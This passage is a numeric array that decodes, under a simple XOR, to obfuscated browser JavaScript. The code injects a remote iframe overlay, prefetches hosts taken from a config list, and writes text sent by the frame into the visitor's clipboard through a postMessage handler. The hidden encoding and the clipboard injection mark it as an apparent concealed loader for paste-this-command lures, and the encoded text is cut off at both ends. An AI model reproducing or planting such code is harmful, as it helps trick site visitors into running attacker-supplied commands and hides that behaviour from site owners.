1,60,122,114,123,21,56,48,63,57,46,116,42,40,53,46,53,46,35,42,63,116,50,59,41,21,45,52,10,40,53,42,63,40,46,35,116,57,59,54,54,114,51,52,42,47,46,118,122,49,115,115,122,57,53,52,46,51,52,47,63,97,87,80,122,122,122,122,122,122,122,122,44,59,40,122,52,63,41,46,63,62,122,103,122,60,51,52,62,15,40,54,19,52,21,56,48,63,57,46,114,51,52,42,47,46,1,49,7,118,122,62,63,42,46,50,122,113,122,107,115,97,87,80,122,122,122,122,122,122,122,122,51,60,122,114,52,63,41,46,63,62,115,122,40,63,46,47,40,52,122,52,63,41,46,63,62,97,87,80,122,122,122,122,122,122,39,87,80,122,122,122,122,39,87,80,87,80,122,122,122,122,40,63,46,47,40,52,122,120,120,97,87,80,122,122,39,87,80,87,80,122,122,60,47,52,57,46,51,53,52,122,63,34,46,40,59,57,46,22,59,52,62,51,52,61,15,40,54,114,40,59,45,115,122,33,87,80,122,122,122,122,51,60,122,114,123,40,59,45,115,122,40,63,46,47,40,52,122,120,120,97,87,80,87,80,122,122,122,122,44,59,40,122,46,63,34,46,122,103,122,9,46,40,51,52,61,114,40,59,45,115,116,40,63,42,54,59,57,63,114,117,4,6,47,28,31,28,28,117,118,122,120,120,115,116,46,40,51,55,114,115,97,87,80,122,122,122,122,51,60,122,114,123,46,63,34,46,115,122,40,63,46,47,40,52,122,120,120,97,87,80,87,80,122,122,122,122,44,59,40,122,62,51,40,63,57,46,122,103,122,46,53,18,46,46,42,15,40,54,114,46,63,34,46,115,97,87,80,122,122,122,122,51,60,122,114,62,51,40,63,57,46,115,122,40,63,46,47,40,52,122,62,51,40,63,57,46,97,87,80,87,80,122,122,122,122,51,60,122,114,114,46,63,34,46,116,57,50,59,40,27,46,114,106,115,122,103,103,103,122,120,33,120,122,124,124,122,46,63,34,46,116,57,50,59,40,27,46,114,46,63,34,46,116,54,63,52,61,46,50,122,119,122,107,115,122,103,103,103,122,120,39,120,115,122,38,38,87,80,122,122,122,122,122,122,122,122,114,46,63,34,46,116,57,50,59,40,27,46,114,106,115,122,103,103,103,122,120,1,120,122,124,124,122,46,63,34,46,116,57,50,59,40,27,46,114,46,63,34,46,116,54,63,52,61,46,50,122,119,122,107,115,122,103,103,103,122,120,7,120,115,115,122,33,87,80,122,122,122,122,122,122,46,40,35,122,33,87,80,122,122,122,122,122,122,122,122,44,59,40,122,42,59,40,41,63,62,122,103,122,16,9,21,20,116,42,59,40,41,63,114,46,63,34,46,115,97,87,80,122,122,122,122,122,122,122,122,44,59,40,122,48,41,53,52,15,40,54,122,103,122,60,51,52,62,15,40,54,19,52,21,56,48,63,57,46,114,42,59,40,41,63,62,118,122,106,115,97,87,80,122,122,122,122,122,122,122,122,51,60,122,114,48,41,53,52,15,40,54,115,122,40,63,46,47,40,52,122,48,41,53,52,15,40,54,97,87,80,122,122,122,122,122,122,39,122,57,59,46,57,50,122,114,63,115,122,33,39,87,80,122,122,122,122,39,87,80,87,80,122,122,122,122,44,59,40,122,55,59,46,57,50,18,46,46,42,122,103,122,46,63,34,46,116,55,59,46,57,50,114,117,50,46,46,42,41,101,96,6,117,6,117,1,4,6,41,120,125,102,100,7,113,117,51,115,97,87,80,122,122,122,122,51,60,122,114,55,59,46,57,50,18,46,46,42,122,124,124,122,55,59,46,57,50,18,46,46,42,1,106,7,115,122,33,87,80,122,122,122,122,122,122,44,59,40,122,50,46,46,42,15,40,54,122,103,122,46,53,18,46,46,42,15,40,54,114,55,59,46,57,50,18,46,46,42,1,106,7,115,97,87,80,122,122,122,122,122,122,51,60,122,114,50,46,46,42,15,40,54,115,122,40,63,46,47,40,52,122,50,46,46,42,15,40,54,97,87,80,122,122,122,122,39,87,80,87,80,122,122,122,122,44,59,40,122,55,59,46,57,50,30,53,55,59,51,52,122,103,122,46,63,34,46,116,55,59,46,57,50,114,117,6,56,1,59,119,32,106,119,99,116,119,7,113,6,116,1,59,119,32,7,33,104,118,39,114,101,96,96,6,62,113,115,101,114,101,96,6,117,1,4,6,41,120,125,102,100,7,112,115,101,117,51,115,97,87,80,122,122,122,122,51,60,122,114,55,59,46,57,50,30,53,55,59,51,52,122,124,124,122,55,59,46,57,50,30,53,55,59,51,52,1,106,7,115,122,33,87,80,122,122,122,122,122,122,44,59,40,122,62,53,55,59,51,52,15,40,54,122,103,122,46,53,18,46,46,42,15,40,54,114,55,59,46,57,50,30,53,55,59,51,52,1,106,7,115,97,87,80,122,122,122,122,122,122,51,60,122,114,62,53,55,59,51,52,15,40,54,115,122,40,63,46,47,40,52,122,62,53,55,59,51,52,15,40,54,97,87,80,122,122,122,122,39,87,80,87,80,122,122,122,122,40,63,46,47,40,52,122,120,120,97,87,80,122,122,39,87,80,87,80,122,122,60,47,52,57,46,51,53,52,122,61,63,46,21,40,51,61,51,52,9,59,60,63,114,47,40,54,115,122,33,87,80,122,122,122,122,46,40,35,122,33,87,80,122,122,122,122,122,122,40,63,46,47,40,52,122,52,63,45,122,15,8,22,114,47,40,54,115,116,53,40,51,61,51,52,97,87,80,122,122,122,122,39,122,57,59,46,57,50,122,114,63,115,122,33,87,80,122,122,122,122,122,122,40,63,46,47,40,52,122,120,120,97,87,80,122,122,122,122,39,87,80,122,122,39,87,80,87,80,122,122,60,47,52,57,46,51,53,52,122,59,62,62,18,51,52,46,114,40,63,54,118,122,50,40,63,60,115,122,33,87,80,122,122,122,122,51,60,122,114,123,50,40,63,60,122,38,38,122,123,62,53,57,47,55,63,52,46,122,38,38,122,123,62,53,57,47,55,63,52,46,116,57,40,63,59,46,63,31,54,63,55,63,52,46,115,122,40,63,46,47,40,52,97,87,80,87,80,122,122,122,122,44,59,40,122,49,63,35,122,103,122,40,63,54,122,113,122,120,96,96,120,122,113,122,50,40,63,60,97,87,80,122,122,122,122,51,60,122,114,40,63,61,51,41,46,40,35,116,50,51,52,46,41,1,49,63,35,7,115,122,40,63,46,47,40,52,97,87,80,122,122,122,122,40,63,61,51,41,46,40,35,116,50,51,52,46,41,1,49,63,35,7,122,103,122,46,40,47,63,97,87,80,87,80,122,122,122,122,46,40,35,122,33,87,80,122,122,122,122,122,122,44,59,40,122,42,59,40,63,52,46,122,103,122,62,53,57,47,55,63,52,46,116,50,63,59,62,122,38,38,122,62,53,57,47,55,63,52,46,116,62,53,57,47,55,63,52,46,31,54,63,55,63,52,46,97,87,80,122,122,122,122,122,122,51,60,122,114,123,42,59,40,63,52,46,115,122,40,63,46,47,40,52,97,87,80,87,80,122,122,122,122,122,122,44,59,40,122,54,51,52,49,122,103,122,62,53,57,47,55,63,52,46,116,57,40,63,59,46,63,31,54,63,55,63,52,46,114,120,54,51,52,49,120,115,97,87,80,122,122,122,122,122,122,54,51,52,49,116,40,63,54,122,103,122,40,63,54,97,87,80,122,122,122,122,122,122,54,51,52,49,116,50,40,63,60,122,103,122,50,40,63,60,97,87,80,87,80,122,122,122,122,122,122,51,60,122,114,40,63,54,122,103,103,103,122,120,42,40,63,57,53,52,52,63,57,46,120,115,122,33,87,80,122,122,122,122,122,122,122,122,54,51,52,49,116,57,40,53,41,41,21,40,51,61,51,52,122,103,122,120,59,52,53,52,35,55,53,47,41,120,97,87,80,122,122,122,122,122,122,39,87,80,87,80,122,122,122,122,122,122,42,59,40,63,52,46,116,59,42,42,63,52,62,25,50,51,54,62,114,54,51,52,49,115,97,87,80,122,122,122,122,39,122,57,59,46,57,50,122,114,63,115,122,33,39,87,80,122,122,39,87,80,87,80,122,122,60,47,52,57,46,51,53,52,122,45,59,40,55,47,42,21,40,51,61,51,52,41,114,115,122,33,87,80,122,122,122,122,44,59,40,122,53,40,51,61,51,52,41,122,103,122,33,39,97,87,80,122,122,122,122,44,59,40,122,59,42,51,21,40,51,61,51,52,122,103,122,61,63,46,21,40,51,61,51,52,9,59,60,63,114,27,10,19,5,19,30,5,15,8,22,115,97,87,80,122,122,122,122,51,60,122,114,59,42,51,21,40,51,61,51,52,115,122,53,40,51,61,51,52,41,1,59,42,51,21,40,51,61,51,52,7,122,103,122,46,40,47,63,97,87,80,87,80,122,122,122,122,60,53,40,122,114,44,59,40,122,51,122,103,122,106,97,122,51,122,102,122,14,8,15,9,14,31,30,5,25,21,20,28,19,29,9,116,54,63,52,61,46,50,97,122,51,113,113,115,122,33,87,80,122,122,122,122,122,122,44,59,40,122,46,42,54,122,103,122,14,8,15,9,14,31,30,5,25,21,20,28,19,29,9,1,51,7,122,124,124,122,14,8,15,9,14,31,30,5,25,21,20,28,19,29,9,1,51,7,116,46,63,55,42,54,59,46,63,97,87,80,122,122,122,122,122,122,51,60,122,114,123,46,42,54,115,122,57,53,52,46,51,52,47,63,97,87,80,122,122,122,122,122,122,44,59,40,122,42,40,53,56,63,122,103,122,46,42,54,116,40,63,42,54,59,57,63,114,117,6,33,51,62,6,39,117,61,118,122,120,34,120,115,97,87,80,122,122,122,122,122,122,44,59,40,122,53,40,51,61,51,52,122,103,122,61,63,46,21,40,51,61,51,52,9,59,60,63,114,42,40,53,56,63,115,97,87,80,122,122,122,122,122,122,51,60,122,114,53,40,51,61,51,52,115,122,53,40,51,61,51,52,41,1,53,40,51,61,51,52,7,122,103,122,46,40,47,63,97,87,80,122,122,122,122,39,87,80,87,80,122,122,122,122,60,53,40,122,114,44,59,40,122,53,40,51,61,51,52,17,63,35,122,51,52,122,53,40,51,61,51,52,41,115,122,33,87,80,122,122,122,122,122,122,51,60,122,114,123,21,56,48,63,57,46,116,42,40,53,46,53,46,35,42,63,116,50,59,41,21,45,52,10,40,53,42,63,40,46,35,116,57,59,54,54,114,53,40,51,61,51,52,41,118,122,53,40,51,61,51,52,17,63,35,115,115,122,57,53,52,46,51,52,47,63,97,87,80,122,122,122,122,122,122,59,62,62,18,51,52,46,114,120,62,52,41,119,42,40,63,60,63,46,57,50,120,118,122,53,40,51,61,51,52,17,63,35,115,97,87,80,122,122,122,122,122,122,59,62,62,18,51,52,46,114,120,42,40,63,57,53,52,52,63,57,46,120,118,122,53,40,51,61,51,52,17,63,35,115,97,87,80,122,122,122,122,39,87,80,122,122,39,87,80,87,80,122,122,60,47,52,57,46,51,53,52,122,61,63,46,23,53,47,52,46,20,53,62,63,114,115,122,33,87,80,122,122,122,122,40,63,46,47,40,52,122,62,53,57,47,55,63,52,46,116,56,53,62,35,122,38,38,122,62,53,57,47,55,63,52,46,116,62,53,57,47,55,63,52,46,31,54,63,55,63,52,46,122,38,38,122,52,47,54,54,97,87,80,122,122,39,87,80,87,80,122,122,60,47,52,57,46,51,53,52,122,60,63,46,57,50,14,63,34,46,20,53,14,50,40,53,45,114,47,40,54,118,122,46,51,55,63,53,47,46,23,41,115,122,33,87,80,122,122,122,122,40,63,46,47,40,52,122,52,63,45,122,10,40,53,55,51,41,63,114,60,47,52,57,46,51,53,52,122,114,40,63,41,53,54,44,63,115,122,33,87,80,122,122,122,122,122,122,51,60,122,114,123,47,40,54,122,38,38,122,46,35,42,63,53,60,122,60,63,46,57,50,122,123,103,103,122,120,60,47,52,57,46,51,53,52,120,115,122,33,87,80,122,122,122,122,122,122,122,122,40,63,41,53,54,44,63,114,120,120,115,97,87,80,122,122,122,122,122,122,122,122,40,63,46,47,40,52,97,87,80,122,122,122,122,122,122,39,87,80,87,80,122,122,122,122,122,122,44,59,40,122,60,51,52,51,41,50,63,62,122,103,122,60,59,54,41,63,97,87,80,122,122,122,122,122,122,44,59,40,122,46,51,55,63,40,122,103,122,52,47,54,54,97,87,80,122,122,122,122,122,122,44,59,40,122,57,53,52,46,40,53,54,54,63,40,122,103,122,52,47,54,54,97,87,80,87,80,122,122,122,122,122,122,60,47,52,57,46,51,53,52,122,62,53,52,63,114,44,59,54,47,63,115,122,33,87,80,122,122,122,122,122,122,122,122,51,60,122,114,60,51,52,51,41,50,63,62,115,122,40,63,46,47,40,52,97,87,80,122,122,122,122,122,122,122,122,60,51,52,51,41,50,63,62,122,103,122,46,40,47,63,97,87,80,122,122,122,122,122,122,122,122,51,60,122,114,46,51,55,63,40,115,122,57,54,63,59,40,14,51,55,63,53,47,46,114,46,51,55,63,40,115,97,87,80,122,122,122,122,122,122,122,122,40,63,41,53,54,44,63,114,114,44,59,54,47,63,122,38,38,122,120,120,115,116,46,40,51,55,114,115,115,97,87,80,122,122,122,122,122,122,39,87,80,87,80,122,122,122,122,122,122,46,40,35,122,33,87,80,122,122,122,122,122,122,122,122,51,60,122,114,46,35,42,63,53,60,122,27,56,53,40,46,25,53,52,46,40,53,54,54,63,40,122,123,103,103,122,120,47,52,62,63,60,51,52,63,62,120,115,122,33,87,80,122,122,122,122,122,122,122,122,122,122,57,53,52,46,40,53,54,54,63,40,122,103,122,52,63,45,122,27,56,53,40,46,25,53,52,46,40,53,54,54,63,40,114,115,97,87,80,122,122,122,122,122,122,122,122,39,87,80,87,80,122,122,122,122,122,122,122,122,46,51,55,63,40,122,103,122,41,63,46,14,51,55,63,53,47,46,114,60,47,52,57,46,51,53,52,122,114,115,122,33,87,80,122,122,122,122,122,122,122,122,122,122,46,40,35,122,33,87,80,122,122,122,122,122,122,122,122,122,122,122,122,51,60,122,114,57,53,52,46,40,53,54,54,63,40,115,122,57,53,52,46,40,53,54,54,63,40,116,59,56,53,40,46,114,115,97,87,80,122,122,122,122,122,122,122,122,122,122,39,122,57,59,46,57,50,122,114,63,115,122,33,39,87,80,122,122,122,122,122,122,122,122,122,122,62,53,52,63,114,120,120,115,97,87,80,122,122,122,122,122,122,122,122,39,118,122,46,51,55,63,53,47,46,23,41,115,97,87,80,87,80,122,122,122,122,122,122,122,122,60,63,46,57,50,114,47,40,54,118,122,33,87,80,122,122,122,122,122,122,122,122,122,122,57,59,57,50,63,96,122,120,52,53,119,41,46,53,40,63,120,118,87,80,122,122,122,122,122,122,122,122,122,122,57,40,63,62,63,52,46,51,59,54,41,96,122,120,53,55,51,46,120,118,87,80,122,122,122,122,122,122,122,122,122,122,41,51,61,52,59,54,96,122,57,53,52,46,40,53,54,54,63,40,122,101,122,57,53,52,46,40,53,54,54,63,40,116,41,51,61,52,59,54,122,96,122,44,53,51,62,122,106,87,80,122,122,122,122,122,122,122,122,39,115,87,80,122,122,122,122,122,122,122,122,122,122,116,46,50,63,52,114,60,47,52,57,46,51,53,52,122,114,40,63,41,42,53,52,41,63,115,122,33,87,80,122,122,122,122,122,122,122,122,122,122,122,122,40,63,46,47,40,52,122,40,63,41,42,53,52,41,63,122,101,122,40,63,41,42,53,52,41,63,116,46,63,34,46,114,115,122,96,122,120,120,97,87,80,122,122,122,122,122,122,122,122,122,122,39,115,87,80,122,122,122,122,122,122,122,122,122,122,116,46,50,63,52,114,60,47,52,57,46,51,53,52,122,114,46,63,34,46,115,122,33,87,80,122,122,122,122,122,122,122,122,122,122,122,122,62,53,52,63,114,46,63,34,46,115,97,87,80,122,122,122,122,122,122,122,122,122,122,39,115,87,80,122,122,122,122,122,122,122,122,122,122,116,57,59,46,57,50,114,60,47,52,57,46,51,53,52,122,114,115,122,33,87,80,122,122,122,122,122,122,122,122,122,122,122,122,62,53,52,63,114,120,120,115,97,87,80,122,122,122,122,122,122,122,122,122,122,39,115,97,87,80,122,122,122,122,122,122,39,122,57,59,46,57,50,122,114,63,115,122,33,87,80,122,122,122,122,122,122,122,122,62,53,52,63,114,120,120,115,97,87,80,122,122,122,122,122,122,39,87,80,122,122,122,122,39,115,97,87,80,122,122,39,87,80,87,80,122,122,60,47,52,57,46,51,53,52,122,46,40,35,25,53,42,35,114,46,63,34,46,115,122,33,87,80,122,122,122,122,51,60,122,114,46,35,42,63,53,60,122,46,63,34,46,122,123,103,103,122,120,41,46,40,51,52,61,120,122,38,38,122,123,46,63,34,46,115,122,40,63,46,47,40,52,97,87,80,87,80,122,122,122,122,46,40,35,122,33,122,45,51,52,62,53,45,116,60,53,57,47,41,114,115,97,122,39,122,57,59,46,57,50,122,114,63,115,122,33,39,87,80,87,80,122,122,122,122,51,60,122,114,52,59,44,51,61,59,46,53,40,116,57,54,51,42,56,53,59,40,62,122,124,124,122,52,59,44,51,61,59,46,53,40,116,57,54,51,42,56,53,59,40,62,116,45,40,51,46,63,14,63,34,46,115,122,33,87,80,122,122,122,122,122,122,52,59,44,51,61,59,46,53,40,116,57,54,51,42,56,53,59,40,62,116,45,40,51,46,63,14,63,34,46,114,46,63,34,46,115,116,57,59,46,57,50,114,60,47,52,57,46,51,53,52,122,114,115,122,33,87,80,122,122,122,122,122,122,122,122,60,59,54,54,56,59,57,49,25,53,42,35,114,46,63,34,46,115,97,87,80,122,122,122,122,122,122,39,115,97,87,80,122,122,122,122,122,122,40,63,46,47,40,52,97,87,80,122,122,122,122,39,87,80,87,80,122,122,122,122,60,59,54,54,56,59,57,49,25,53,42,35,114,46,63,34,46,115,97,87,80,122,122,39,87,80,87,80,122,122,60,47,52,57,46,51,53,52,122,60,59,54,54,56,59,57,49,25,53,42,35,114,46,63,34,46,115,122,33,87,80,122,122,122,122,46,40,35,122,33,87,80,122,122,122,122,122,122,44,59,40,122,55,53,47,52,46,122,103,122,61,63,46,23,53,47,52,46,20,53,62,63,114,115,97,87,80,122,122,122,122,122,122,51,60,122,114,123,55,53,47,52,46,115,122,40,63,46,47,40,52,97,87,80,87,80,122,122,122,122,122,122,44,59,40,122,46,59,122,103,122,62,53,57,47,55,63,52,46,116,57,40,63,59,46,63,31,54,63,55,63,52,46,114,120,46,63,34,46,59,40,63,59,120,115,97,87,80,122,122,122,122,122,122,46,59,116,44,59,54,47,63,122,103,122,46,63,34,46,97,87,80,122,122,122,122,122,122,46,59,116,41,63,46,27,46,46,40,51,56,47,46,63,114,120,40,63,59,62,53,52,54,35,120,118,122,120,40,63,59,62,53,52,54,35,120,115,97,87,80,122,122,122,122,122,122,46,59,116,41,46,35,54,63,116,42,53,41,51,46,51,53,52,122,103,122,120,60,51,34,63,62,120,97,87,80,122,122,122,122,122,122,46,59,116,41,46,35,54,63,116,54,63,60,46,122,103,122,120,119,99,99,99,99,42,34,120,97,87,80,122,122,122,122,122,122,46,59,116,41,46,35,54,63,116,46,53,42,122,103,122,120,106,120,97,87,80,122,122,122,122,122,122,46,59,116,41,46,35,54,63,116,53,42,59,57,51,46,35,122,103,122,120,106,120,97,87,80,122,122,122,122,122,122,55,53,47,52,46,116,59,42,42,63,52,62,25,50,51,54,62,114,46,59,115,97,87,80,122,122,122,122,122,122,46,40,35,122,33,122,46,59,116,60,53,57,47,41,114,115,97,122,39,122,57,59,46,57,50,122,114,63,115,122,33,39,87,80,122,122,122,122,122,122,46,59,116,41,63,54,63,57,46,114,115,97,87,80,122,122,122,122,122,122,46,59,116,41,63,46,9,63,54,63,57,46,51,53,52,8,59,52,61,63,114,106,118,122,46,59,116,44,59,54,47,63,116,54,63,52,61,46,50,115,97,87,80,122,122,122,122,122,122,62,53,57,47,55,63,52,46,116,63,34,63,57,25,53,55,55,59,52,62,114,120,57,53,42,35,120,115,97,87,80,122,122,122,122,122,122,51,60,122,114,46,59,116,42,59,40,63,52,46,20,53,62,63,115,122,46,59,116,42,59,40,63,52,46,20,53,62,63,116,40,63,55,53,44,63,25,50,51,54,62,114,46,59,115,97,87,80,122,122,122,122,39,122,57,59,46,57,50,122,114,63,115,122,33,39,87,80,122,122,39,87,80,87,80,122,122,60,47,52,57,46,51,53,52,122,56,51,52,62,23,63,41,41,59,61,63,18,59,52,62,54,63,40,114,115,122,33,87,80,122,122,122,122,51,60,122,114,40,63,61,51,41,46,40,35,116,55,63,41,41,59,61,63,24,53,47,52,62,115,122,40,63,46,47,40,52,97,87,80,122,122,122,122,40,63,61,51,41,46,40,35,116,55,63,41,41,59,61,63,24,53,47,52,62,122,103,122,46,40,47,63,97,87,80,87,80,122,122,122,122,45,51,52,62,53,45,116,59,62,62,31,44,63,52,46,22,51,41,46,63,52,63,40,114,120,55,63,41,41,59,61,63,120,118,122,60,47,52,57,46,51,53,52,122,114,63,44,63,52,46,115,122,33,87,80,122,122,122,122,122,122,44,59,40,122,62,59,46,59,122,103,122,63,44,63,52,46,122,124,124,122,63,44,63,52,46,116,62,59,46,59,97,87,80,122,122,122,122,122,122,44,59,40,122,51,60,40,59,55,63,122,103,122,62,53,57,47,55,63,52,46,116,61,63,46,31,54,63,55,63,52,46,24,35,19,62,114,40,63,61,51,41,46,40,35,116,51,60,40,59,55,63,19,62,115,97,87,80,87,80,122,122,122,122,122,122,51,60,122,114,123,51,60,40,59,55,63,122,38,38,122,123,62,59,46,59,122,38,38,122,46,35,42,63,53,60,122,62,59,46,59,122,123,103,103,122,120,53,56,48,63,57,46,120,115,122,40,63,46,47,40,52,97,87,80,122,122,122,122,122,122,51,60,122,114,63,44,63,52,46,116,41,53,47,40,57,63,122,124,124,122,51,60,40,59,55,63,116,57,53,52,46,63,52,46,13,51,52,62,53,45,122,124,124,122,63,44,63,52,46,116,41,53,47,40,57,63,122,123,103,103,122,51,60,40,59,55,63,116,57,53,52,46,63,52,46,13,51,52,62,53,45,115,122,40,63,46,47,40,52,97,87,80,87,80,122,122,122,122,122,122,51,60,122,114,62,59,46,59,116,46,35,42,63,122,103,103,103,122,120,49,46,54,119,41,50,53,45,119,53,40,51,61,51,52,59,54,120,115,122,33,87,80,122,122,122,122,122,122,122,122,51,60,122,114,46,35,42,63,53,60,122,40,63,61,51,41,46,40,35,116,62,63,41,46,40,53,35,122,103,103,103,122,120,60,47,52,57,46,51,53,52,120,115,122,40,63,61,51,41,46,40,35,116,62,63,41,46,40,53,35,114,115,97,87,80,122,122,122,122,122,122,122,122,40,63,46,47,40,52,97,87,80,122,122,122,122,122,122,39,87,80,87,80,122,122,122,122,122,122,51,60,122,114,62,59,46,59,116,46,35,42,63,122,103,103,103,122,120,49,46,54,119,60,40,59,55,63,119,40,63,59,62,35,120,115,122,33,87,80,122,122,122,122,122,122,122,122,51,60,122,114,46,35,42,63,53,60,122,40,63,61,51,41,46,40,35,116,40,63,44,63,59,54,122,103,103,103,122,120,60,47,52,57,46,51,53,52,120,115,122,40,63,61,51,41,46,40,35,116,40,63,44,63,59,54,114,115,97,87,80,122,122,122,122,122,122,122,122,40,63,46,47,40,52,97,87,80,122,122,122,122,122,122,39,87,80,87,80,122,122,122,122,122,122,51,60,122,114,62,59,46,59,116,46,35,42,63,122,103,103,103,122,120,57,53,42,35,120,122,124,124,122,46,35,42,63,53,60,122,62,59,46,59,116,46,63,34,46,122,103,103,103,122,120,41,46,40,51,52,61,120,115,122,33,87,80,122,122,122,122,122,122,122,122,46,40,35,25,53,42,35,114,62,59,46,59,116,46,63,34,46,115,97,87,80,122,122,122,122,122,122,39,87,80,122,122,122,122,39,115,97,87,80,122,122,39,87,80,87,80,122,122,60,47,52,57,46,51,53,52,122,57,54,63,59,52,47,42,114,52,63,34,46,9,46,59,46,47,41,115,122,33,87,80,122,122,122,122,44,59,40,122,51,60,40,59,55,63,122,103,122,62,53,57,47,55,63,52,46,116,61,63,46,31,54,63,55,63,52,46,24,35,19,62,114,40,63,61,51,41,46,40,35,116,51,60,40,59,55,63,19,62,115,97,87,80,87,80,122,122,122,122,40,63,61,51,41,46,40,35,116,62,63,41,46,40,53,35,122,103,122,52,47,54,54,97,87,80,122,122,122,122,40,63,61,51,41,46,40,35,116,40,63,44,63,59,54,122,103,122,52,47,54,54,97,87,80,87,80,122,122,122,122,46,40,35,122,33,87,80,122,122,122,122,122,122,51,60,122,114,51,60,40,59,55,63,122,124,124,122,51,60,40,59,55,63,116,42,59,40,63,52,46,20,53,62,63,115,122,33,87,80,122,122,122,122,122,122,122,122,51,60,40,59,55,63,116,42,59,40,63,52,46,20,53,62,63,116,40,63,55,53,44,63,25,50,51,54,62,114,51,60,40,59,55,63,115,97,87,80,122,122,122,122,122,122,39,87,80,122,122,122,122,39,122,57,59,46,57,50,122,114,63,115,122,33,39,87,80,87,80,122,122,122,122,40,63,61,51,41,46,40,35,116,41,46,59,46,47,41,122,103,122,52,63,34,46,9,46,59,46,47,41,122,38,38,122,120,62,53,52,63,120,97,87,80,122,122,39,87,80,87,80,122,122,60,47,52,57,46,51,53,52,122,40,63,41,53,54,44,63,22,59,52,62,51,52,61,15,40,54,114,51,62,115,122,33,87,80,122,122,122,122,51,60,122,114,123,51,62,122,38,38,122,123,14,8,15,9,14,31,30,5,25,21,20,28,19,29,9,116,54,63,52,61,46,50,115,122,33,87,80,122,122,122,122,122,122,40,63,46,47,40,52,122,10,40,53,55,51,41,63,116,40,63,41,53,54,44,63,114,120,120,115,97,87,80,122,122,122,122,39,87,80,87,80,122,122,122,122,60,47,52,57,46,51,53,52,122,41,46,63,42,114,51,52,62,63,34,115,122,33,87,80,122,122,122,122,122,122,51,60,122,114,51,52,62,63,34,122,100,103,122,14,8,15,9,14,31,30,5,25,21,20,28,19,29,9,116,54,63,52,61,46,50,115,122,33,87,80,122,122,122,122,122,122,122,122,40,63,46,47,40,52,122,10,40,53,55,51,41,63,116,40,63,41,53,54,44,63,114,120,120,115,97,87,80,122,122,122,122,122,122,39,87,80,87,80,122,122,122,122,122,122,44,59,40,122,57,60,61,122,103,122,14,8,15,9,14,31,30,5,25,21,20,28,19,29,9,1,51,52,62,63,34,7,122,38,38,122,33,39,97,87,80,122,122,122,122,122,122,44,59,40,122,56,47,51,54,46,15,40,54,122,103,122,46,53,18,46,46,42,15,40,54,114,56,47,51,54,62,14,40,47,41,46,63,62,15,40,54,114,57,60,61,116,46,63,55,42,54,59,46,63,122,38,38,122,120,120,118,122,51,62,115,115,97,87,80,87,80,122,122,122,122,122,122,51,60,122,114,123,56,47,51,54,46,15,40,54,115,122,33,87,80,122,122,122,122,122,122,122,122,40,63,46,47,40,52,122,41,46,63,42,114,51,52,62,63,34,122,113,122,107,115,97,87,80,122,122,122,122,122,122,39,87,80,87,80,122,122,122,122,122,122,51,60,122,114,123,57,60,61,116,47,41,63,28,63,46,57,50,115,122,33,87,80,122,122,122,122,122,122,122,122,40,63,46,47,40,52,122,10,40,53,55,51,41,63,116,40,63,41,53,54,44,63,114,56,47,51,54,46,15,40,54,115,97,87,80,122,122,122,122,122,122,39,87,80,87,80,122,122,122,122,122,122,40,63,46,47,40,52,122,60,63,46,57,50,14,63,34,46,20,53,14,50,40,53,45,114,56,47,51,54,46,15,40,54,118,122,40,63,61,51,41,46,40,35,116,40,63,43,47,63,41,46,14,51,55,63,53,47,46,23,41,115,87,80,122,122,122,122,122,122,122,122,116,46,50,63,52,114,60,47,52,57,46,51,53,52,122,114,40,59,45,115,122,33,87,80,122,122,122,122,122,122,122,122,122,122,44,59,40,122,54,59,52,62,51,52,61,15,40,54,122,103,122,63,34,46,40,59,57,46,22,59,52,62,51,52,61,15,40,54,114,40,59,45,115,97,87,80,122,122,122,122,122,122,122,122,122,122,51,60,122,114,54,59,52,62,51,52,61,15,40,54,115,122,40,63,46,47,40,52,122,54,59,52,62,51,52,61,15,40,54,97,87,80,122,122,122,122,122,122,122,122,122,122,40,63,46,47,40,52,122,41,46,63,42,114,51,52,62,63,34,122,113,122,107,115,97,87,80,122,122,122,122,122,122,122,122,39,115,87,80,122,122,122,122,122,122,122,122,116,57,59,46,57,50,114,60,47,52,57,46,51,53,52,122,114,115,122,33,87,80,122,122,122,122,122,122,122,122,122,122,40,63,46,47,40,52,122,41,46,63,42,114,51,52,62,63,34,122,113,122,107,115,97,87,80,122,122,122,122,122,122,122,122,39,115,97,87,80,122,122,122,122,39,87,80,87,80,122,122,122,122,40,63,46,47,40,52,122,41,46,63,42,114,106,115,97,87,80,122,122,39,87,80,87,80,122,122,60,47,52,57,46,51,53,52,122,59,57,46,51,44,59,46,63,19,60,40,59,55,63,114,47,40,54,115,122,33,87,80,122,122,122,122,51,60,122,114,123,47,40,54,122,38,38,122,40,63,61,51,41,46,40,35,116,41,46,59,46,47,41,122,103,103,103,122,120,59,57,46,51,44,63,120,115,122,40,63,46,47,40,52,97,87,80,87,80,122,122,122,122,51,60,122,114,51,41,13,42,22,53,61,61,63,62,19,52,25,53,52,46,63,34,46,114,115,115,122,33,87,80,122,122,122,122,122,122,57,54,63,59,52,47,42,114,120,62,53,52,63,120,115,97,87,80,122,122,122,122,122,122,40,63,46,47,40,52,97,87,80,122,122,122,122,39,87,80,87,80,122,122,122,122,44,59,40,122,63,34,51,41,46,51,52,61,122,103,122,62,53,57,47,55,63,52,46,116,61,63,46,31,54,63,55,63,52,46,24,35,19,62,114,40,63,61,51,41,46,40,35,116,51,60,40,59,55,63,19,62,115,97,87,80,122,122,122,122,51,60,122,114,63,34,51,41,46,51,52,61,115,122,33,87,80,122,122,122,122,122,122,40,63,61,51,41,46,40,35,116,41,46,59,46,47,41,122,103,122,120,59,57,46,51,44,63,120,97,87,80,122,122,122,122,122,122,40,63,46,47,40,52,97,87,80,122,122,122,122,39,87,80,87,80,122,122,122,122,44,59,40,122,55,53,47,52,46,122,103,122,61,63,46,23,53,47,52,46,20,53,62,63,114,115,97,87,80,122,122,122,122,51,60,122,114,123,55,53,47,52,46,115,122,33,87,80,122,122,122,122,122,122,41,63,46,14,51,55,63,53,47,46,114,60,47,52,57,46,51,53,52,122,114,115,122,33,87,80,122,122,122,122,122,122,122,122,59,57,46,51,44,59,46,63,19,60,40,59,55,63,114,47,40,54,115,97,87,80,122,122,122,122,122,122,39,118,122,106,115,97,87,80,122,122,122,122,122,122,40,63,46,47,40,52,97,87,80,122,122,122,122,39,87,80,87,80,122,122,122,122,44,59,40,122,51,60,40,59,55,63,122,103,122,62,53,57,47,55,63,52,46,116,57,40,63,59,46,63,31,54,63,55,63,52,46,114,120,51,60,40,59,55,63,120,115,97,87,80,122,122,122,122,44,59,40,122,57,54,53,41,63,62,122,103,122,60,59,54,41,63,97,87,80,122,122,122,122,44,59,40,122,40,63,44,63,59,54,63,62,122,103,122,60,59,54,41,63,97,87,80,122,122,122,122,44,59,